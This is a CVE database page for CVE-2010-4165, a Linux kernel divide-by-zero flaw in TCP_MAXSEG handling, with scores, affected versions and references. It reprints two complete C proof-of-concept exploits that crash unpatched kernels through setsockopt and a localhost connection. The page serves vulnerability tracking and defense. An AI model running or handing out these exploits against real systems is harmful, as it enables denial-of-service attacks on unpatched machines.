CVE-2010-4165 : Detail

CVE-2010-4165

0.04%V3
Local
2010-11-20
20h00 +00:00
2011-01-15
09h00 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

The do_tcp_setsockopt function in net/ipv4/tcp.c in the Linux kernel before 2.6.37-rc2 does not properly restrict TCP_MAXSEG (aka MSS) values, which allows local users to cause a denial of service (OOPS) via a setsockopt call that specifies a small value, leading to a divide-by-zero error or incorrect use of a signed integer.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-369 Divide By Zero
The product divides a value by zero.

Metrics

Metrics Score Severity CVSS Vector Source
V2 4.9 AV:L/AC:L/Au:N/C:N/I:N/A:C [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 16263

Publication date : 2011-03-01 23h00 +00:00
Author : prdelka
EDB Verified : Yes

/* Linux Kernel <= 2.6.37 local kernel DoS (CVE-2010-4165) * ======================================================= * A divide by 0 error occurs in tcp_select_initial_window * when processing user supplied TCP_MAXSEG facilitating a * local denial-of-service condition (kernel oops!) in all * Linux Kernel 2.6.x branch (2.6.37 & below). This issue * can be triggered easily with a call to setsockopt() on * a listening network socket and then establishing a TCP * connection to the awaiting socket. * * -- prdelka * */ #include <stdio.h> #include <stdlib.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <netinet/tcp.h> int main() { int optval, optlen, ret, sd, sd2, pid; char *host = "localhost"; struct sockaddr_in locAddr; struct sockaddr_in servAddr; struct sockaddr_in dstAddr; printf("[ Linux Kernel tcp_select_initial_window divide by 0 DoS\n"); sd = socket(AF_INET, SOCK_STREAM, 0); memset(&servAddr,0,sizeof(servAddr)); memset(&dstAddr,0,sizeof(dstAddr)); servAddr.sin_family = AF_INET; servAddr.sin_port = htons(60000); servAddr.sin_addr.s_addr = INADDR_ANY; dstAddr.sin_family = AF_INET; inet_aton("127.0.0.1", &dstAddr.sin_addr); dstAddr.sin_port = htons(60000); if((bind(sd,(struct sockaddr *)&servAddr,sizeof(struct sockaddr))) == -1){ printf("[ Cannot bind listener service\n"); exit(-1); } listen(sd,4); optval = 12; ret = setsockopt(sd, IPPROTO_TCP, TCP_MAXSEG, &optval, sizeof(optval)); if(ret==0) { printf("[ System is not patched against CVE-2010-4165\n[ Goodnight, sweet prince.\n"); int sin_size = sizeof(struct sockaddr_in); switch(pid = fork()) { case 0: sd = accept(sd,(struct sockaddr *)&locAddr,&sin_size); sleep(3); default: sd2 = socket(AF_INET, SOCK_STREAM, 0); connect(sd2, (struct sockaddr *)&dstAddr, sizeof(dstAddr)); sleep(3); } } printf("[ System is patched, no dreams for this prince\n"); return 0; }
Exploit Database EDB-ID : 16952

Publication date : 2011-03-09 23h00 +00:00
Author : zx2c4
EDB Verified : No

/* * TCP_MAXSEG Kernel Panic DoS for Linux < 2.6.37-rc2 * by zx2c4 * * This exploit triggers CVE-2010-4165, a divide by zero * error in net/ipv4/tcp.c. Because this is on the softirq * path, the kernel oopses and then completely dies with * no chance of recovery. It has been very reliable as a * DoS, but is not useful for triggering other bugs. * * -zx2c4, 28-2-2011 */ #include <stdio.h> #include <string.h> #include <sys/socket.h> #include <net/if.h> #include <arpa/inet.h> #include <netinet/tcp.h> int main() { struct sockaddr_in laddr; memset(&laddr, 0, sizeof(laddr)); laddr.sin_family = AF_INET; laddr.sin_addr.s_addr = inet_addr("127.0.0.1"); laddr.sin_port = htons(31337); int listener = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP); if (listener < 0) { printf("[-] Could not open listener.\n"); return -1; } int val = 12; if (setsockopt(listener, IPPROTO_TCP, TCP_MAXSEG, &val, sizeof(val)) < 0) { printf("[-] Could not set sockopt.\n"); return -1; } if (bind(listener, (struct sockaddr*)&laddr, sizeof(struct sockaddr)) < 0) { printf("[-] Could not bind to address.\n"); return -1; } if (listen(listener, 1) < 0) { printf("[-] Could not listen.\n"); return -1; } int hello = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP); if (hello < 0) { printf("[-] Could not open connector.\n"); return -1; } if (connect(hello, (struct sockaddr*)&laddr, sizeof(struct sockaddr)) < 0) { printf("[-] Could not connect to listener.\n"); return -1; } printf("[-] Connection did not trigger oops.\n"); return 0; }

Products Mentioned

Configuraton 0

Linux>>Linux_kernel >> Version To (excluding) 2.6.37

Linux>>Linux_kernel >> Version 2.6.37

Linux>>Linux_kernel >> Version 2.6.37

Configuraton 0

Opensuse>>Opensuse >> Version 11.2

Opensuse>>Opensuse >> Version 11.3

Suse>>Linux_enterprise_desktop >> Version 11

Suse>>Linux_enterprise_real_time_extension >> Version 11

Suse>>Linux_enterprise_server >> Version 11

References

http://secunia.com/advisories/42778
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.spinics.net/lists/netdev/msg146405.html
Tags : mailing-list, x_refsource_MLIST
http://secunia.com/advisories/42801
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.openwall.com/lists/oss-security/2010/11/12/4
Tags : mailing-list, x_refsource_MLIST
http://secunia.com/advisories/42932
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.osvdb.org/69241
Tags : vdb-entry, x_refsource_OSVDB
http://www.vupen.com/english/advisories/2011/0124
Tags : vdb-entry, x_refsource_VUPEN
http://www.vupen.com/english/advisories/2011/0298
Tags : vdb-entry, x_refsource_VUPEN
http://www.mandriva.com/security/advisories?name=MDVSA-2011:051
Tags : vendor-advisory, x_refsource_MANDRIVA
http://www.securityfocus.com/bid/44830
Tags : vdb-entry, x_refsource_BID
http://www.spinics.net/lists/netdev/msg146495.html
Tags : mailing-list, x_refsource_MLIST
http://www.openwall.com/lists/oss-security/2010/11/12/1
Tags : mailing-list, x_refsource_MLIST
http://www.vupen.com/english/advisories/2011/0012
Tags : vdb-entry, x_refsource_VUPEN
http://www.mandriva.com/security/advisories?name=MDVSA-2011:029
Tags : vendor-advisory, x_refsource_MANDRIVA
http://securityreason.com/securityalert/8111
Tags : third-party-advisory, x_refsource_SREASON
http://securityreason.com/securityalert/8123
Tags : third-party-advisory, x_refsource_SREASON